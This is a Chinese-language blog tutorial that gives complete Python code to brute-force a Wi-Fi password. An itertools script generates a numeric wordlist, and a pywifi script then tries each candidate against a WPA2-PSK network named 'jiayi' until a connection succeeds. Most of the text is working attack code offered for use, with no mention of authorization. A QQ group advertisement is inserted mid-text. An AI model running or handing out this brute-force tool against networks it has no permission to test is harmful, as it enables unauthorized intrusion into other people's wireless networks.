Python暴力破解wifi密码

作者: c067527d47c2 | 来源:发表于2019-05-21 11:01 被阅读208次

    生成密码本

    ​ 对于这个密码本就是我们常用的密码,一般是有数字、字母和符号组成。而现在呢?我们就用Python生成一个简单的密码本,这里用到的思路主要是穷举法。这里用到的库是itertools,没有的可以使用pip install itertools在DOS命令下安装,这个密码本生成很简单,就是几行代码而已。接下来我们一起分析。同样,我们先一步一步分析,后面会附上完整代码。


    image

    当然在学习Python的道路上肯定会困难,没有好的学习资料,怎么去学习呢? 学习Python中有不明白推荐加入交流群号:984137898 群里有志同道合的小伙伴,互帮互助, 群里有不错的视频学习教程和PDF!

    ​ 这里使用一个迭代器,就是我们需要生成密码所有的字符,可以是数字,符号和字母,我这里采用的是纯数字,是为了方便和节约时间。

    words="1234567890"
    

    ​ 下面就是生成密码的位数,但是这里要注意的是这个要考虑到电脑的配置,我生成七位的密码花了十多分钟,生成的文件大小约有85M,所以大家根据情况生成。

    r=its.product(words,repeat=4)
    

    ​ 因此生成的密码一般是字符串,而我之前生成的是单个的字符,所以我采用join,使用空格链接。

    dic.write("".join(i))
    

    ​ 好了,记下来就是完整的代码:

    import itertools as its
     
    #迭代器
    words="1234567890"
    #生成密码本的位数,五位数,repeat=5
    r=its.product(words,repeat=3)
    #保存在文件中,追加
    dic=open("./password.txt","a")
    #i是元组
    for i in r:
        #jion空格链接
        dic.write("".join(i))
        dic.write("".join("\n"))
        print(i)
    dic.close()
    print("密码本已生成")
    

    暴力破解wifi密码

    ​ 这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是Python3,所以各位看的时候需要注意这一点。接下来我们一步一步分析主要代码,后面同样附上完整的代码。对了,需要注意一点,就是电脑必须是要用无线网卡的。

    ​ 首先我们需要判断电脑是否已经连接wifi,创建一个无线对象,获取无线网卡。

    wifi=pywifi.PyWiFi()
    #获取无线网卡
    ifaces=wifi.interfaces()[0]
    print(ifaces)
    

    ​ 使用这行代码就可以获取电脑无线网卡的名称:

    print(ifaces.name())
    

    ​ 要判断是否连接WiFi,我们需要导入一个常量库:

    from pywifi import const
    

    ​ 创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。代码如下:

    profile=pywifi.Profile()
    #要连接WiFi的名称
    profile.ssid="jiayi"
    #网卡的开放状态
    profile.auth=const.AUTH_ALG_OPEN
    #wifi加密算法,一般wifi加密算法为was
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    #加密单元
    profile.cipher=const.CIPHER_TYPE_CCMP
    

    ​ 删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0.

    #删除所有连接过的wifi文件
    ifaces.remove_all_network_profiles()
    #设定新的连接文件
    tep_profile=ifaces.add_network_profile(profile)
    ifaces.connect(tep_profile)
    #wifi连接时间
    time.sleep(3)
    if ifaces.status()==const.IFACE_CONNECTED:
        return True
    else:
        return False
    

    ​ 接下来我们就需要一个密码本,然后采用只读的方式,一行一行读取,这里的密码本可以用我分享的这个,也用去网上下载一个常用wifi密码,只要是TXT文本就可以.

    #密码本路径
    path="C:/Users/ASUS/Desktop/password.txt"
    #打开文件
    file=open(path,"r")
    while True:
        try:
            #一行一行读取
            pad=file.readline()
    

    ​ 好了,接下来就是完整的代码.

    # coding:utf-8
    import pywifi
    from pywifi import const
    import time
     
    #测试连接,返回链接结果
    def wifiConnect(pwd):
        #抓取网卡接口
        wifi=pywifi.PyWiFi()
        #获取第一个无线网卡
        ifaces=wifi.interfaces()[0]
        #断开所有连接
        ifaces.disconnect()
        time.sleep(1)
        wifistatus=ifaces.status()
        if wifistatus ==const.IFACE_DISCONNECTED:
            #创建WiFi连接文件
            profile=pywifi.Profile()
            #要连接WiFi的名称
            profile.ssid="jiayi"
            #网卡的开放状态
            profile.auth=const.AUTH_ALG_OPEN
            #wifi加密算法,一般wifi加密算法为wps
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            #加密单元
            profile.cipher=const.CIPHER_TYPE_CCMP
            #调用密码
            profile.key=pwd
            #删除所有连接过的wifi文件
            ifaces.remove_all_network_profiles()
            #设定新的连接文件
            tep_profile=ifaces.add_network_profile(profile)
            ifaces.connect(tep_profile)
            #wifi连接时间
            time.sleep(3)
            if ifaces.status()==const.IFACE_CONNECTED:
                return True
            else:
                return False
        else:
            print("已有wifi连接") 
     
    #读取密码本
    def readPassword():
        print("开始破解:")
        #密码本路径
        path="./password.txt"
        #打开文件
        file=open(path,"r")
        while True:
            try:
                #一行一行读取
                pad=file.readline()
                bool=wifiConnect(pad)
                
                if bool:
                    print("密码已破解: ",pad)
                    print("WiFi已自动连接!!!")
                    break
                else:
                    #跳出当前循环,进行下一次循环
                    print("密码破解中....密码校对: ",pad)
            except:
                continue
    readPassword()
    

    相关文章

      网友评论

        本文标题:Python暴力破解wifi密码

        本文链接:https://www.haomeiwen.com/subject/piydzqtx.html